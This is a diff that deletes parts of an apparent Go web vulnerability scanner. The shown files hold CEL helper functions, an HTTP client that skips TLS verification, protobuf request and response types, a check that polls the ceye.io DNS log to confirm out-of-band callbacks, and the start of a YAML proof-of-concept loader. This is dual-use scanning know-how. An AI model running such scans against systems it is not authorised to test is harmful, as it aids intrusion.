-				decls.NewOverload("urldecode_string",
-					[]*exprpb.Type{decls.String},
-					decls.String)),
-			decls.NewFunction("urldecode",
-				decls.NewOverload("urldecode_bytes",
-					[]*exprpb.Type{decls.Bytes},
-					decls.String)),
-			decls.NewFunction("substr",
-				decls.NewOverload("substr_string_int_int",
-					[]*exprpb.Type{decls.String, decls.Int, decls.Int},
-					decls.String)),
-			decls.NewFunction("wait",
-				decls.NewInstanceOverload("reverse_wait_int",
-					[]*exprpb.Type{decls.Any, decls.Int},
-					decls.Bool)),
-			decls.NewFunction("icontains",
-				decls.NewInstanceOverload("icontains_string",
-					[]*exprpb.Type{decls.String, decls.String},
-					decls.Bool)),
-		),
-	}
-	c.programOptions = []cel.ProgramOption{
-		cel.Functions(
-			&functions.Overload{
-				Operator: "bytes_bcontains_bytes",
-				Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
-					v1, ok := lhs.(types.Bytes)
-					if !ok {
-						return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
-					}
-					v2, ok := rhs.(types.Bytes)
-					if !ok {
-						return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
-					}
-					return types.Bool(bytes.Contains(v1, v2))
-				},
-			},
-			&functions.Overload{
-				Operator: "string_bmatch_bytes",
-				Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
-					v1, ok := lhs.(types.String)
-					if !ok {
-						return types.ValOrErr(lhs, "unexpected type '%v' passed to bmatch", lhs.Type())
-					}
-					v2, ok := rhs.(types.Bytes)
-					if !ok {
-						return types.ValOrErr(rhs, "unexpected type '%v' passed to bmatch", rhs.Type())
-					}
-					ok, err := regexp.Match(string(v1), v2)
-					if err != nil {
-						return types.NewErr("%v", err)
-					}
-					return types.Bool(ok)
-				},
-			},
-			&functions.Overload{
-				Operator: "md5_string",
-				Unary: func(value ref.Val) ref.Val {
-					v, ok := value.(types.String)
-					if !ok {
-						return types.ValOrErr(value, "unexpected type '%v' passed to md5_string", value.Type())
-					}
-					return types.String(fmt.Sprintf("%x", md5.Sum([]byte(v))))
-				},
-			},
-			&functions.Overload{
-				Operator: "randomInt_int_int",
-				Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
-					from, ok := lhs.(types.Int)
-					if !ok {
-						return types.ValOrErr(lhs, "unexpected type '%v' passed to randomInt", lhs.Type())
-					}
-					to, ok := rhs.(types.Int)
-					if !ok {
-						return types.ValOrErr(rhs, "unexpected type '%v' passed to randomInt", rhs.Type())
-					}
-					min, max := int(from), int(to)
-					return types.Int(rand.Intn(max-min) + min)
-				},
-			},
-			&functions.Overload{
-				Operator: "randomLowercase_int",
-				Unary: func(value ref.Val) ref.Val {
-					n, ok := value.(types.Int)
-					if !ok {
-						return types.ValOrErr(value, "unexpected type '%v' passed to randomLowercase", value.Type())
-					}
-					return types.String(randomLowercase(int(n)))
-				},
-			},
-			&functions.Overload{
-				Operator: "base64_string",
-				Unary: func(value ref.Val) ref.Val {
-					v, ok := value.(types.String)
-					if !ok {
-						return types.ValOrErr(value, "unexpected type '%v' passed to base64_string", value.Type())
-					}
-					return types.String(base64.StdEncoding.EncodeToString([]byte(v)))
-				},
-			},
-			&functions.Overload{
-				Operator: "base64_bytes",
-				Unary: func(value ref.Val) ref.Val {
-					v, ok := value.(types.Bytes)
-					if !ok {
-						return types.ValOrErr(value, "unexpected type '%v' passed to base64_bytes", value.Type())
-					}
-					return types.String(base64.StdEncoding.EncodeToString(v))
-				},
-			},
-			&functions.Overload{
-				Operator: "base64Decode_string",
-				Unary: func(value ref.Val) ref.Val {
-					v, ok := value.(types.String)
-					if !ok {
-						return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_string", value.Type())
-					}
-					decodeBytes, err := base64.StdEncoding.DecodeString(string(v))
-					if err != nil {
-						return types.NewErr("%v", err)
-					}
-					return types.String(decodeBytes)
-				},
-			},
-			&functions.Overload{
-				Operator: "base64Decode_bytes",
-				Unary: func(value ref.Val) ref.Val {
-					v, ok := value.(types.Bytes)
-					if !ok {
-						return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_bytes", value.Type())
-					}
-					decodeBytes, err := base64.StdEncoding.DecodeString(string(v))
-					if err != nil {
-						return types.NewErr("%v", err)
-					}
-					return types.String(decodeBytes)
-				},
-			},
-			&functions.Overload{
-				Operator: "urlencode_string",
-				Unary: func(value ref.Val) ref.Val {
-					v, ok := value.(types.String)
-					if !ok {
-						return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_string", value.Type())
-					}
-					return types.String(url.QueryEscape(string(v)))
-				},
-			},
-			&functions.Overload{
-				Operator: "urlencode_bytes",
-				Unary: func(value ref.Val) ref.Val {
-					v, ok := value.(types.Bytes)
-					if !ok {
-						return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_bytes", value.Type())
-					}
-					return types.String(url.QueryEscape(string(v)))
-				},
-			},
-			&functions.Overload{
-				Operator: "urldecode_string",
-				Unary: func(value ref.Val) ref.Val {
-					v, ok := value.(types.String)
-					if !ok {
-						return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_string", value.Type())
-					}
-					decodeString, err := url.QueryUnescape(string(v))
-					if err != nil {
-						return types.NewErr("%v", err)
-					}
-					return types.String(decodeString)
-				},
-			},
-			&functions.Overload{
-				Operator: "urldecode_bytes",
-				Unary: func(value ref.Val) ref.Val {
-					v, ok := value.(types.Bytes)
-					if !ok {
-						return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_bytes", value.Type())
-					}
-					decodeString, err := url.QueryUnescape(string(v))
-					if err != nil {
-						return types.NewErr("%v", err)
-					}
-					return types.String(decodeString)
-				},
-			},
-			&functions.Overload{
-				Operator: "substr_string_int_int",
-				Function: func(values ...ref.Val) ref.Val {
-					if len(values) == 3 {
-						str, ok := values[0].(types.String)
-						if !ok {
-							return types.NewErr("invalid string to 'substr'")
-						}
-						start, ok := values[1].(types.Int)
-						if !ok {
-							return types.NewErr("invalid start to 'substr'")
-						}
-						length, ok := values[2].(types.Int)
-						if !ok {
-							return types.NewErr("invalid length to 'substr'")
-						}
-						runes := []rune(str)
-						if start < 0 || length < 0 || int(start+length) > len(runes) {
-							return types.NewErr("invalid start or length to 'substr'")
-						}
-						return types.String(runes[start : start+length])
-					} else {
-						return types.NewErr("too many arguments to 'substr'")
-					}
-				},
-			},
-			&functions.Overload{
-				Operator: "reverse_wait_int",
-				Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
-					reverse, ok := lhs.Value().(*Reverse)
-					if !ok {
-						return types.ValOrErr(lhs, "unexpected type '%v' passed to 'wait'", lhs.Type())
-					}
-					timeout, ok := rhs.Value().(int64)
-					if !ok {
-						return types.ValOrErr(rhs, "unexpected type '%v' passed to 'wait'", rhs.Type())
-					}
-					return types.Bool(reverseCheck(reverse, timeout))
-				},
-			},
-			&functions.Overload{
-				Operator: "icontains_string",
-				Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
-					v1, ok := lhs.(types.String)
-					if !ok {
-						return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
-					}
-					v2, ok := rhs.(types.String)
-					if !ok {
-						return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
-					}
-					// 不区分大小写包含
-					return types.Bool(strings.Contains(strings.ToLower(string(v1)), strings.ToLower(string(v2))))
-				},
-			},
-		),
-	}
-	return c
-}
-
-// 声明环境中的变量类型和函数
-func (c *CustomLib) CompileOptions() []cel.EnvOption {
-	return c.envOptions
-}
-
-func (c *CustomLib) ProgramOptions() []cel.ProgramOption {
-	return c.programOptions
-}
-
-func (c *CustomLib) UpdateCompileOptions(args map[string]string) {
-	for k, v := range args {
-		// 在执行之前是不知道变量的类型的，所以统一声明为字符型
-		// 所以randomInt虽然返回的是int型，在运算中却被当作字符型进行计算，需要重载string_*_string
-		var d *exprpb.Decl
-		if strings.HasPrefix(v, "randomInt") {
-			d = decls.NewIdent(k, decls.Int, nil)
-		} else if strings.HasPrefix(v, "newReverse") {
-			d = decls.NewIdent(k, decls.NewObjectType("lib.Reverse"), nil)
-		} else {
-			d = decls.NewIdent(k, decls.String, nil)
-		}
-		c.envOptions = append(c.envOptions, cel.Declarations(d))
-	}
-}
-
-func randomLowercase(n int) string {
-	lowercase := "abcdefghijklmnopqrstuvwxyz"
-	randSource := rand.New(rand.NewSource(time.Now().Unix()))
-	return RandomStr(randSource, lowercase, n)
-}
-
-func reverseCheck(r *Reverse, timeout int64) bool {
-	if ceyeApi == "" || r.Domain == "" {
-		return false
-	}
-	time.Sleep(time.Second * time.Duration(timeout))
-	sub := strings.Split(r.Domain, ".")[0]
-	urlStr := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s", ceyeApi, sub)
-	fmt.Println(urlStr)
-	req, _ := http.NewRequest("GET", urlStr, nil)
-	resp, err := DoRequest(req, false)
-	if err != nil {
-		return false
-	}
-
-	if !bytes.Contains(resp.Body, []byte(`"data": []`)) && bytes.Contains(resp.Body, []byte(`"message": "OK"`)) { // api返回结果不为空
-		return true
-	}
-	return false
-}
-
-
-func RandomStr(randSource *rand.Rand, letterBytes string, n int) string {
-	const (
-		letterIdxBits = 6                    // 6 bits to represent a letter index
-		letterIdxMask = 1<<letterIdxBits - 1 // All 1-bits, as many as letterIdxBits
-		letterIdxMax  = 63 / letterIdxBits   // # of letter indices fitting in 63 bits
-		//letterBytes   = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
-	)
-	randBytes := make([]byte, n)
-	for i, cache, remain := n-1, randSource.Int63(), letterIdxMax; i >= 0; {
-		if remain == 0 {
-			cache, remain = randSource.Int63(), letterIdxMax
-		}
-		if idx := int(cache & letterIdxMask); idx < len(letterBytes) {
-			randBytes[i] = letterBytes[idx]
-			i--
-		}
-		cache >>= letterIdxBits
-		remain--
-	}
-	return string(randBytes)
-}

WebScan/lib/http.go

@@ -1,171 +0,0 @@
-package lib
-
-import (
-	"bytes"
-	"compress/gzip"
-	"crypto/tls"
-	"io"
-	"io/ioutil"
-	"net"
-	"net/http"
-	"net/url"
-	"strconv"
-	"time"
-)
-
-var (
-	client           *http.Client
-	clientNoRedirect *http.Client
-	dialTimout       = 5 * time.Second
-	keepAlive        = 15 * time.Second
-)
-
-func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error {
-	dialer := &net.Dialer{
-		Timeout:   dialTimout,
-		KeepAlive: keepAlive,
-	}
-
-	tr := &http.Transport{
-		DialContext: dialer.DialContext,
-		//MaxConnsPerHost:     0,
-		MaxIdleConns:        1000,
-		MaxIdleConnsPerHost: ThreadsNum * 2,
-		IdleConnTimeout:     keepAlive,
-		TLSClientConfig:     &tls.Config{InsecureSkipVerify: true},
-		TLSHandshakeTimeout: 5 * time.Second,
-		DisableKeepAlives:   false,
-	}
-	if DownProxy != "" {
-		u, err := url.Parse(DownProxy)
-		if err != nil {
-			return err
-		}
-		tr.Proxy = http.ProxyURL(u)
-	}
-
-	client = &http.Client{
-		Transport: tr,
-		Timeout:   Timeout,
-	}
-	clientNoRedirect = &http.Client{
-		Transport: tr,
-		Timeout:   Timeout,
-	}
-	clientNoRedirect.CheckRedirect = func(req *http.Request, via []*http.Request) error {
-		return http.ErrUseLastResponse
-	}
-	return nil
-}
-
-func DoRequest(req *http.Request, redirect bool) (*Response, error) {
-	if req.Body == nil || req.Body == http.NoBody {
-	} else {
-		req.Header.Set("Content-Length", strconv.Itoa(int(req.ContentLength)))
-		if req.Header.Get("Content-Type") == "" {
-			req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
-		}
-	}
-
-	var oResp *http.Response
-	var err error
-	if redirect {
-		oResp, err = client.Do(req)
-	} else {
-		oResp, err = clientNoRedirect.Do(req)
-	}
-	if err != nil {
-		return nil, err
-	}
-	defer oResp.Body.Close()
-	resp, err := ParseResponse(oResp)
-	if err != nil {
-		return nil, err
-	}
-	return resp, err
-}
-
-func ParseUrl(u *url.URL) *UrlType {
-	nu := &UrlType{}
-	nu.Scheme = u.Scheme
-	nu.Domain = u.Hostname()
-	nu.Host = u.Host
-	nu.Port = u.Port()
-	nu.Path = u.EscapedPath()
-	nu.Query = u.RawQuery
-	nu.Fragment = u.Fragment
-	return nu
-}
-
-func ParseRequest(oReq *http.Request) (*Request, error) {
-	req := &Request{}
-	req.Method = oReq.Method
-	req.Url = ParseUrl(oReq.URL)
-	header := make(map[string]string)
-	for k := range oReq.Header {
-		header[k] = oReq.Header.Get(k)
-	}
-	req.Headers = header
-	req.ContentType = oReq.Header.Get("Content-Type")
-	if oReq.Body == nil || oReq.Body == http.NoBody {
-	} else {
-		data, err := ioutil.ReadAll(oReq.Body)
-		if err != nil {
-			return nil, err
-		}
-		req.Body = data
-		oReq.Body = ioutil.NopCloser(bytes.NewBuffer(data))
-	}
-	return req, nil
-}
-
-func ParseResponse(oResp *http.Response) (*Response, error) {
-	var resp Response
-	header := make(map[string]string)
-	resp.Status = int32(oResp.StatusCode)
-	resp.Url = ParseUrl(oResp.Request.URL)
-	for k := range oResp.Header {
-		header[k] = oResp.Header.Get(k)
-	}
-	resp.Headers = header
-	resp.ContentType = oResp.Header.Get("Content-Type")
-	body, err := getRespBody(oResp)
-	if err != nil {
-		return nil, err
-	}
-	resp.Body = body
-	return &resp, nil
-}
-
-func getRespBody(oResp *http.Response) ([]byte, error) {
-	var body []byte
-	if oResp.Header.Get("Content-Encoding") == "gzip" {
-		gr, err := gzip.NewReader(oResp.Body)
-		if err != nil {
-			return nil, err
-		}
-
-		defer gr.Close()
-		for {
-			buf := make([]byte, 1024)
-			n, err := gr.Read(buf)
-			if err != nil && err != io.EOF {
-				//utils.Logger.Error(err)
-				return nil, err
-			}
-			if n == 0 {
-				break
-			}
-			body = append(body, buf...)
-		}
-	} else {
-		raw, err := ioutil.ReadAll(oResp.Body)
-		if err != nil {
-			//utils.Logger.Error(err)
-			return nil, err
-		}
-		defer oResp.Body.Close()
-		body = raw
-	}
-	return body, nil
-}

WebScan/lib/http.pb.go

@@ -1,354 +0,0 @@
-// Code generated by protoc-gen-go. DO NOT EDIT.
-// source: http.proto
-
-package lib
-
-import (
-	fmt "fmt"
-	proto "github.com/golang/protobuf/proto"
-	math "math"
-)
-
-// Reference imports to suppress errors if they are not otherwise used.
-var _ = proto.Marshal
-var _ = fmt.Errorf
-var _ = math.Inf
-
-// This is a compile-time assertion to ensure that this generated file
-// is compatible with the proto package it is being compiled against.
-// A compilation error at this line likely means your copy of the
-// proto package needs to be updated.
-const _ = proto.ProtoPackageIsVersion3 // please upgrade the proto package
-
-type UrlType struct {
-	Scheme               string   `protobuf:"bytes,1,opt,name=scheme,proto3" json:"scheme,omitempty"`
-	Domain               string   `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
-	Host                 string   `protobuf:"bytes,3,opt,name=host,proto3" json:"host,omitempty"`
-	Port                 string   `protobuf:"bytes,4,opt,name=port,proto3" json:"port,omitempty"`
-	Path                 string   `protobuf:"bytes,5,opt,name=path,proto3" json:"path,omitempty"`
-	Query                string   `protobuf:"bytes,6,opt,name=query,proto3" json:"query,omitempty"`
-	Fragment             string   `protobuf:"bytes,7,opt,name=fragment,proto3" json:"fragment,omitempty"`
-	XXX_NoUnkeyedLiteral struct{} `json:"-"`
-	XXX_unrecognized     []byte   `json:"-"`
-	XXX_sizecache        int32    `json:"-"`
-}
-
-func (m *UrlType) Reset()         { *m = UrlType{} }
-func (m *UrlType) String() string { return proto.CompactTextString(m) }
-func (*UrlType) ProtoMessage()    {}
-func (*UrlType) Descriptor() ([]byte, []int) {
-	return fileDescriptor_11b04836674e6f94, []int{0}
-}
-
-func (m *UrlType) XXX_Unmarshal(b []byte) error {
-	return xxx_messageInfo_UrlType.Unmarshal(m, b)
-}
-func (m *UrlType) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
-	return xxx_messageInfo_UrlType.Marshal(b, m, deterministic)
-}
-func (m *UrlType) XXX_Merge(src proto.Message) {
-	xxx_messageInfo_UrlType.Merge(m, src)
-}
-func (m *UrlType) XXX_Size() int {
-	return xxx_messageInfo_UrlType.Size(m)
-}
-func (m *UrlType) XXX_DiscardUnknown() {
-	xxx_messageInfo_UrlType.DiscardUnknown(m)
-}
-
-var xxx_messageInfo_UrlType proto.InternalMessageInfo
-
-func (m *UrlType) GetScheme() string {
-	if m != nil {
-		return m.Scheme
-	}
-	return ""
-}
-
-func (m *UrlType) GetDomain() string {
-	if m != nil {
-		return m.Domain
-	}
-	return ""
-}
-
-func (m *UrlType) GetHost() string {
-	if m != nil {
-		return m.Host
-	}
-	return ""
-}
-
-func (m *UrlType) GetPort() string {
-	if m != nil {
-		return m.Port
-	}
-	return ""
-}
-
-func (m *UrlType) GetPath() string {
-	if m != nil {
-		return m.Path
-	}
-	return ""
-}
-
-func (m *UrlType) GetQuery() string {
-	if m != nil {
-		return m.Query
-	}
-	return ""
-}
-
-func (m *UrlType) GetFragment() string {
-	if m != nil {
-		return m.Fragment
-	}
-	return ""
-}
-
-type Request struct {
-	Url                  *UrlType          `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
-	Method               string            `protobuf:"bytes,2,opt,name=method,proto3" json:"method,omitempty"`
-	Headers              map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
-	ContentType          string            `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
-	Body                 []byte            `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
-	XXX_NoUnkeyedLiteral struct{}          `json:"-"`
-	XXX_unrecognized     []byte            `json:"-"`
-	XXX_sizecache        int32             `json:"-"`
-}
-
-func (m *Request) Reset()         { *m = Request{} }
-func (m *Request) String() string { return proto.CompactTextString(m) }
-func (*Request) ProtoMessage()    {}
-func (*Request) Descriptor() ([]byte, []int) {
-	return fileDescriptor_11b04836674e6f94, []int{1}
-}
-
-func (m *Request) XXX_Unmarshal(b []byte) error {
-	return xxx_messageInfo_Request.Unmarshal(m, b)
-}
-func (m *Request) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
-	return xxx_messageInfo_Request.Marshal(b, m, deterministic)
-}
-func (m *Request) XXX_Merge(src proto.Message) {
-	xxx_messageInfo_Request.Merge(m, src)
-}
-func (m *Request) XXX_Size() int {
-	return xxx_messageInfo_Request.Size(m)
-}
-func (m *Request) XXX_DiscardUnknown() {
-	xxx_messageInfo_Request.DiscardUnknown(m)
-}
-
-var xxx_messageInfo_Request proto.InternalMessageInfo
-
-func (m *Request) GetUrl() *UrlType {
-	if m != nil {
-		return m.Url
-	}
-	return nil
-}
-
-func (m *Request) GetMethod() string {
-	if m != nil {
-		return m.Method
-	}
-	return ""
-}
-
-func (m *Request) GetHeaders() map[string]string {
-	if m != nil {
-		return m.Headers
-	}
-	return nil
-}
-
-func (m *Request) GetContentType() string {
-	if m != nil {
-		return m.ContentType
-	}
-	return ""
-}
-
-func (m *Request) GetBody() []byte {
-	if m != nil {
-		return m.Body
-	}
-	return nil
-}
-
-type Response struct {
-	Url                  *UrlType          `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
-	Status               int32             `protobuf:"varint,2,opt,name=status,proto3" json:"status,omitempty"`
-	Headers              map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
-	ContentType          string            `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
-	Body                 []byte            `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
-	XXX_NoUnkeyedLiteral struct{}          `json:"-"`
-	XXX_unrecognized     []byte            `json:"-"`
-	XXX_sizecache        int32             `json:"-"`
-}
-
-func (m *Response) Reset()         { *m = Response{} }
-func (m *Response) String() string { return proto.CompactTextString(m) }
-func (*Response) ProtoMessage()    {}
-func (*Response) Descriptor() ([]byte, []int) {
-	return fileDescriptor_11b04836674e6f94, []int{2}
-}
-
-func (m *Response) XXX_Unmarshal(b []byte) error {
-	return xxx_messageInfo_Response.Unmarshal(m, b)
-}
-func (m *Response) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
-	return xxx_messageInfo_Response.Marshal(b, m, deterministic)
-}
-func (m *Response) XXX_Merge(src proto.Message) {
-	xxx_messageInfo_Response.Merge(m, src)
-}
-func (m *Response) XXX_Size() int {
-	return xxx_messageInfo_Response.Size(m)
-}
-func (m *Response) XXX_DiscardUnknown() {
-	xxx_messageInfo_Response.DiscardUnknown(m)
-}
-
-var xxx_messageInfo_Response proto.InternalMessageInfo
-
-func (m *Response) GetUrl() *UrlType {
-	if m != nil {
-		return m.Url
-	}
-	return nil
-}
-
-func (m *Response) GetStatus() int32 {
-	if m != nil {
-		return m.Status
-	}
-	return 0
-}
-
-func (m *Response) GetHeaders() map[string]string {
-	if m != nil {
-		return m.Headers
-	}
-	return nil
-}
-
-func (m *Response) GetContentType() string {
-	if m != nil {
-		return m.ContentType
-	}
-	return ""
-}
-
-func (m *Response) GetBody() []byte {
-	if m != nil {
-		return m.Body
-	}
-	return nil
-}
-
-type Reverse struct {
-	Url                  *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
-	Domain               string   `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
-	Ip                   string   `protobuf:"bytes,3,opt,name=ip,proto3" json:"ip,omitempty"`
-	IsDomainNameServer   bool     `protobuf:"varint,4,opt,name=is_domain_name_server,json=isDomainNameServer,proto3" json:"is_domain_name_server,omitempty"`
-	XXX_NoUnkeyedLiteral struct{} `json:"-"`
-	XXX_unrecognized     []byte   `json:"-"`
-	XXX_sizecache        int32    `json:"-"`
-}
-
-func (m *Reverse) Reset()         { *m = Reverse{} }
-func (m *Reverse) String() string { return proto.CompactTextString(m) }
-func (*Reverse) ProtoMessage()    {}
-func (*Reverse) Descriptor() ([]byte, []int) {
-	return fileDescriptor_11b04836674e6f94, []int{3}
-}
-
-func (m *Reverse) XXX_Unmarshal(b []byte) error {
-	return xxx_messageInfo_Reverse.Unmarshal(m, b)
-}
-func (m *Reverse) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
-	return xxx_messageInfo_Reverse.Marshal(b, m, deterministic)
-}
-func (m *Reverse) XXX_Merge(src proto.Message) {
-	xxx_messageInfo_Reverse.Merge(m, src)
-}
-func (m *Reverse) XXX_Size() int {
-	return xxx_messageInfo_Reverse.Size(m)
-}
-func (m *Reverse) XXX_DiscardUnknown() {
-	xxx_messageInfo_Reverse.DiscardUnknown(m)
-}
-
-var xxx_messageInfo_Reverse proto.InternalMessageInfo
-
-func (m *Reverse) GetUrl() *UrlType {
-	if m != nil {
-		return m.Url
-	}
-	return nil
-}
-
-func (m *Reverse) GetDomain() string {
-	if m != nil {
-		return m.Domain
-	}
-	return ""
-}
-
-func (m *Reverse) GetIp() string {
-	if m != nil {
-		return m.Ip
-	}
-	return ""
-}
-
-func (m *Reverse) GetIsDomainNameServer() bool {
-	if m != nil {
-		return m.IsDomainNameServer
-	}
-	return false
-}
-
-func init() {
-	proto.RegisterType((*UrlType)(nil), "lib.UrlType")
-	proto.RegisterType((*Request)(nil), "lib.Request")
-	proto.RegisterMapType((map[string]string)(nil), "lib.Request.HeadersEntry")
-	proto.RegisterType((*Response)(nil), "lib.Response")
-	proto.RegisterMapType((map[string]string)(nil), "lib.Response.HeadersEntry")
-	proto.RegisterType((*Reverse)(nil), "lib.Reverse")
-}
-
-func init() {
-	proto.RegisterFile("http.proto", fileDescriptor_11b04836674e6f94)
-}
-
-var fileDescriptor_11b04836674e6f94 = []byte{
-	// 378 bytes of a gzipped FileDescriptorProto
-	0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xcc, 0x93, 0xb1, 0x8e, 0xd3, 0x40,
-	0x10, 0x86, 0x65, 0x3b, 0x89, 0xc3, 0xc4, 0x42, 0x68, 0x05, 0x68, 0x49, 0x81, 0x8e, 0x54, 0x57,
-	0x59, 0xe2, 0x8e, 0x02, 0x5d, 0x0d, 0x12, 0x15, 0xc5, 0x02, 0xb5, 0xb5, 0x3e, 0x0f, 0xd8, 0xc2,
-	0xf6, 0x6e, 0x76, 0xc7, 0x91, 0xdc, 0xf3, 0x2e, 0x3c, 0x1b, 0xe2, 0x25, 0x90, 0x67, 0x37, 0x08,
-	0x21, 0x8a, 0x94, 0x74, 0xf3, 0xff, 0xbf, 0x3d, 0x9a, 0x6f, 0x3c, 0x06, 0x68, 0x89, 0x6c, 0x69,
-	0x9d, 0x21, 0x23, 0xb2, 0xbe, 0xab, 0x0f, 0xdf, 0x13, 0xc8, 0x3f, 0xb9, 0xfe, 0xe3, 0x6c, 0x51,
-	0x3c, 0x85, 0x8d, 0xbf, 0x6f, 0x71, 0x40, 0x99, 0x5c, 0x25, 0xd7, 0x0f, 0x54, 0x54, 0x8b, 0xdf,
-	0x98, 0x41, 0x77, 0xa3, 0x4c, 0x83, 0x1f, 0x94, 0x10, 0xb0, 0x6a, 0x8d, 0x27, 0x99, 0xb1, 0xcb,
-	0xf5, 0xe2, 0x59, 0xe3, 0x48, 0xae, 0x82, 0xb7, 0xd4, 0xec, 0x69, 0x6a, 0xe5, 0x3a, 0x7a, 0x9a,
-	0x5a, 0xf1, 0x18, 0xd6, 0xc7, 0x09, 0xdd, 0x2c, 0x37, 0x6c, 0x06, 0x21, 0xf6, 0xb0, 0xfd, 0xec,
-	0xf4, 0x97, 0x01, 0x47, 0x92, 0x39, 0x07, 0xbf, 0xf5, 0xe1, 0x47, 0x02, 0xb9, 0xc2, 0xe3, 0x84,
-	0x9e, 0xc4, 0x73, 0xc8, 0x26, 0xd7, 0xf3, 0x98, 0xbb, 0x9b, 0xa2, 0xec, 0xbb, 0xba, 0x8c, 0x10,
-	0x6a, 0x09, 0x96, 0x89, 0x07, 0xa4, 0xd6, 0x34, 0xe7, 0x89, 0x83, 0x12, 0xb7, 0x90, 0xb7, 0xa8,
-	0x1b, 0x74, 0x5e, 0x66, 0x57, 0xd9, 0xf5, 0xee, 0xe6, 0x19, 0xbf, 0x1b, 0xdb, 0x96, 0xef, 0x42,
-	0xf6, 0x76, 0x24, 0x37, 0xab, 0xf3, 0x93, 0xe2, 0x05, 0x14, 0xf7, 0x66, 0x24, 0x1c, 0xa9, 0xa2,
-	0xd9, 0x62, 0x44, 0xdb, 0x45, 0x8f, 0x37, 0x27, 0x60, 0x55, 0x9b, 0x66, 0x66, 0xc2, 0x42, 0x71,
-	0xbd, 0xbf, 0x83, 0xe2, 0xcf, 0x7e, 0xe2, 0x11, 0x64, 0x5f, 0x71, 0x8e, 0xab, 0x5d, 0xca, 0x65,
-	0x07, 0x27, 0xdd, 0x4f, 0x18, 0x87, 0x0c, 0xe2, 0x2e, 0x7d, 0x9d, 0x1c, 0x7e, 0x26, 0xb0, 0x55,
-	0xe8, 0xad, 0x19, 0x3d, 0x5e, 0x02, 0xeb, 0x49, 0xd3, 0xe4, 0xb9, 0xcf, 0x5a, 0x45, 0x25, 0x5e,
-	0xfd, 0x0d, 0xbb, 0x8f, 0xb0, 0xa1, 0xef, 0xff, 0x43, 0xfb, 0x8d, 0xbf, 0xec, 0x09, 0xdd, 0x65,
-	0xb0, 0xff, 0xbc, 0xc5, 0x87, 0x90, 0x76, 0x36, 0x5e, 0x62, 0xda, 0x59, 0xf1, 0x12, 0x9e, 0x74,
-	0xbe, 0x0a, 0x61, 0x35, 0xea, 0x01, 0x2b, 0x8f, 0xee, 0x84, 0x8e, 0x79, 0xb6, 0x4a, 0x74, 0xfe,
-	0x0d, 0x67, 0xef, 0xf5, 0x80, 0x1f, 0x38, 0xa9, 0x37, 0xfc, 0x5b, 0xdc, 0xfe, 0x0a, 0x00, 0x00,
-	0xff, 0xff, 0x2a, 0xe0, 0x6d, 0x45, 0x24, 0x03, 0x00, 0x00,
-}

WebScan/lib/http.proto

@@ -1,35 +0,0 @@
-syntax = "proto3";
-package lib;
-
-message UrlType {
-  string scheme = 1;
-  string domain = 2;
-  string host = 3;
-  string port = 4;
-  string path = 5;
-  string query = 6;
-  string fragment = 7;
-}
-
-message Request {
-  UrlType url = 1;
-  string method = 2;
-  map<string, string> headers = 3;
-  string content_type = 4;
-  bytes body = 5;
-}
-
-message Response {
-  UrlType url = 1;
-  int32 status = 2 ;
-  map<string, string> headers = 3;
-  string content_type = 4;
-  bytes body = 5;
-}
-
-message Reverse {
-  UrlType url = 1;
-  string domain = 2;
-  string ip = 3;
-  bool is_domain_name_server = 4;
-}

WebScan/lib/poc.go

@@ -1,70 +0,0 @@
-package lib
-
-import (
-	"embed"
-	"fmt"
-	"gopkg.in/yaml.v3"
-	"strings"
-)
-
-type Poc struct {
-	Name   string            `yaml:"name"`
-	Set    map[string]string `yaml:"set"`
-	Rules  []Rules           `yaml:"rules"`
-	Detail Detail            `yaml:"detail"`
-}
-
-type Rules struct {
-	Method          string            `yaml:"method"`
-	Path            string            `yaml:"path"`
-	Headers         map[string]string `yaml:"headers"`
-	Body            string            `yaml:"body"`
-	Search          string            `yaml:"search"`
-	FollowRedirects bool              `yaml:"follow_redirects"`
-	Expression      string            `yaml:"expression"`
-}
-
-type Detail struct {
-	Author      string   `yaml:"author"`
-	Links       []string `yaml:"links"`
-	Description string   `yaml:"description"`
-	Version     string   `yaml:"version"`
-}
-
-func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc {
-	var pocs []*Poc
